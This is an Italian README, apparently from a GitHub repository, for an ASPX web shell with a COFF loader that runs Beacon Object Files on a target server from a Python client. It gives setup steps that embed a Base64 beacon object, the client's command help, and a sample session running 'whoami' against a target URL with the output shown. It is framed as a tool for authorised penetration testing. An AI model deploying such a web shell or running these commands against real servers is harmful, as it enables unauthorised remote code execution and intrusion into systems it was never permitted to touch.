epotseluevskaya/aspx_webshell_coffloaderWeb shell ASPX con caricatore COFF per eseguire Beacon Object Files (BOF) su server target tramite un client Python semi-interattivo, progettato per test di penetrazione autorizzati.
Basato su CS_COFFLoader di TrustedSec
Questa web shell ASPX consente l'esecuzione di Beacon Object Files (BOF) su un server target utilizzando un client Python semi-interattivo.
Sfrutta un'implementazione del loader COFF derivata da CS_COFFLoader di TrustedSec.
Questo progetto è destinato esclusivamente alla ricerca sulla sicurezza e ai test di penetrazione autorizzati. Utilizzando questo progetto, accetti di rispettare tutte le leggi e le normative applicabili.
Prima dell'uso, dovrai:
Compilare beacon_compatibility.c da https://github.com/trustedsec/CS_COFFLoader/tree/main/beacon_object e sostituire il segnaposto {{BEACON_DATA}} nel file ASPX con il file oggetto codificato in Base64.
Compilare i tuoi BOF, ad esempio da https://github.com/trustedsec/CS-Situational-Awareness-BOF, e specificare il percorso della directory con i BOF compilati nel client web.
python3 webshell_bof_client.py http://1.2.3.4/bof.aspx
[*] ASPX Web Shell With COFF Loader Client
[*] Target: http://1.2.3.4/bof.aspx
[*] Beacons: /usr/share/beacons
[*] Type 'help' for available commands.
bof> help
Client for ASPX Web Shell with COFF Loader
Based on TrustedSec's COFFLoader: https://github.com/trustedsec/COFFLoader/tree/main
Author: Eugenie Potseluevskaya
For security research and authorized penetration testing only.
Use strictly on systems you own or have explicit written permission to test.
Unauthorized use is illegal and the author assumes no liability for misuse or damages resulting from this code.
Available commands:
help
Show this message.
list
List available beacons in the beacons directory.
exec <beacon_name> [format_string [arg1 arg2 ...]]
Execute a beacon against the server.
beacon_name Name of the beacon subdirectory.
format_string bof_pack format string (b/i/s/z/Z). Omit if no args needed.
arg1 arg2 ... Arguments matching the format string.
Examples:
exec whoami
exec mybeacon z "hello world"
exec mybeacon zi "some string" 42
exec mybeacon zZ "str1" "widestr"
exit
Quit the client.
bof> exec whoami
[*] Sending 'whoami' (x64) to http://1.2.3.4/bof.aspx ...
── Output ──────────────────────────────────────
UserName SID
====================== ====================================
IIS APPPOOL\DefaultAppPool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
....